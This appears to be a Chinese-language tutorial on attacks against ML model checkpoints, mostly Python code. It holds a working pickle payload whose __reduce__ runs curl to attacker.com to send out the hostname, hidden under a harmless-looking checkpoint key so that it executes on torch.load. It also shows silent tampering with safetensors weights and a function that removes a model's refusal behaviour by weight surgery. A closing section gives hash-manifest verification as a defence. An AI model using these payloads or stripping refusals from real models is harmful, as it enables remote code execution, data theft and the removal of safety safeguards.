模型 Checkpoint 與復原攻擊

import pickle
import torch
import os
 
class MaliciousPayload:
    """
    當 unpickle 時，此物件執行任意程式碼。
    torch.load() 內部呼叫 pickle.load()。
    """
    def __reduce__(self):
        # checkpoint 被載入時執行此程式碼
        return (os.system, ("curl https://attacker.com/exfil?h=$(hostname)",))
 
# 建立看似合法、卻含嵌入 payload 之 checkpoint
def create_poisoned_checkpoint(clean_model, output_path):
    """
    儲存真實模型 checkpoint，於載入時亦執行程式碼。
    模型權重有效——payload 是副作用。
    """
    state_dict = clean_model.state_dict()
    # 將 payload 嵌入看似無害之 key
    state_dict["_metadata_version"] = MaliciousPayload()
 
    torch.save(state_dict, output_path)
    # 檔案正常載入：模型運作，但程式碼靜默執行

# Safetensors 防止程式碼執行但不防止權重修改
from safetensors.torch import load_file, save_file
 
def modify_safetensors_weights(input_path, output_path, layer_name,
                                 modification_fn):
    """
    載入 safetensors 檔、修改特定權重並儲存。
    對具檔案存取者極其微不足道。
    建立後 safetensors 不提供竄改偵測。
    """
    tensors = load_file(input_path)
 
    if layer_name in tensors:
        original = tensors[layer_name]
        tensors[layer_name] = modification_fn(original)
 
    save_file(tensors, output_path)
    # 輸出檔是具修改權重之有效 safetensors 檔
    # 除非檢查外部 hash，否則無竄改指示

# 有針對性之權重外科手術，停用安全行為
def disable_refusal_behavior(model_path, output_path,
                              refusal_direction, scale=2.0):
    """
    藉由自相關權重矩陣減去拒絕方向，
    移除模型之拒絕行為。
 
    基於研究顯示拒絕常被編碼為 activation 空間中之線性方向。
    """
    tensors = load_file(model_path)
 
    # 修改中段層之輸出 projection 權重
    # 拒絕行為通常於此處編碼
    for layer_idx in range(12, 24):  # 中段層
        key = f"model.layers.{layer_idx}.self_attn.o_proj.weight"
        if key in tensors:
            W = tensors[key].float()
            # 投影出拒絕方向
            refusal_component = torch.outer(
                refusal_direction, refusal_direction
            ) @ W
            tensors[key] = (W - scale * refusal_component).half()
 
    save_file(tensors, output_path)

import hashlib
from pathlib import Path
 
def create_checkpoint_manifest(checkpoint_dir: str) -> dict:
    """
    建立所有 checkpoint 檔之已簽章 manifest。
    於載入任何 checkpoint 前驗證此 manifest。
    """
    manifest = {"files": {}, "created": "2026-03-13"}
 
    for path in Path(checkpoint_dir).glob("**/*"):
        if path.is_file():
            sha256 = hashlib.sha256(path.read_bytes()).hexdigest()
            manifest["files"][str(path.relative_to(checkpoint_dir))] = {
                "sha256": sha256,
                "size": path.stat().st_size,
                "format": path.suffix,
            }
 
    return manifest
 
def verify_checkpoint_manifest(checkpoint_dir: str,
                                manifest: dict) -> list[str]:
    """
    驗證所有檔案匹配其預期 hash。
    回傳驗證失敗之檔案清單。
    """
    failures = []
    for rel_path, expected in manifest["files"].items():
        full_path = Path(checkpoint_dir) / rel_path
        if not full_path.exists():
            failures.append(f"MISSING: {rel_path}")
            continue
 
        actual_hash = hashlib.sha256(full_path.read_bytes()).hexdigest()
        if actual_hash != expected["sha256"]:
            failures.append(f"MODIFIED: {rel_path}")
 
    return failures